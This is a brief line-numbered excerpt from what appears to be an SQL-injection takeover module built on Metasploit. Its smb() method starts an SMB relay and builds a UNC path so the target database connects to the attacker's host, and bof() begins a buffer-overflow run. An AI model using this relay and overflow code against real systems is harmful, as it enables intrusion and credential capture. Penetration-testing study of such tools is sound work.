(self)
| 680 | self.delRemoteFile(self.shellcodeexecRemote) |
| 681 | |
| 682 | def smb(self): |
| 683 | Metasploit._initVars(self) |
| 684 | self._randFile = "tmpu%s.txt" % randomStr(lowercase=True) |
| 685 | |
| 686 | self._runMsfCliSmbrelay() |
| 687 | |
| 688 | if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): |
| 689 | self.uncPath = r"\\\\%s\\%s" % (self.lhostStr, self._randFile) |
| 690 | else: |
| 691 | self.uncPath = r"\\%s\%s" % (self.lhostStr, self._randFile) |
| 692 | |
| 693 | debugMsg = "Metasploit Framework console exited with return " |
| 694 | debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest) |
| 695 | logger.debug(debugMsg) |
| 696 | |
| 697 | def bof(self): |
| 698 | self._runMsfCli(exitfunc="seh") |
no test coverage detected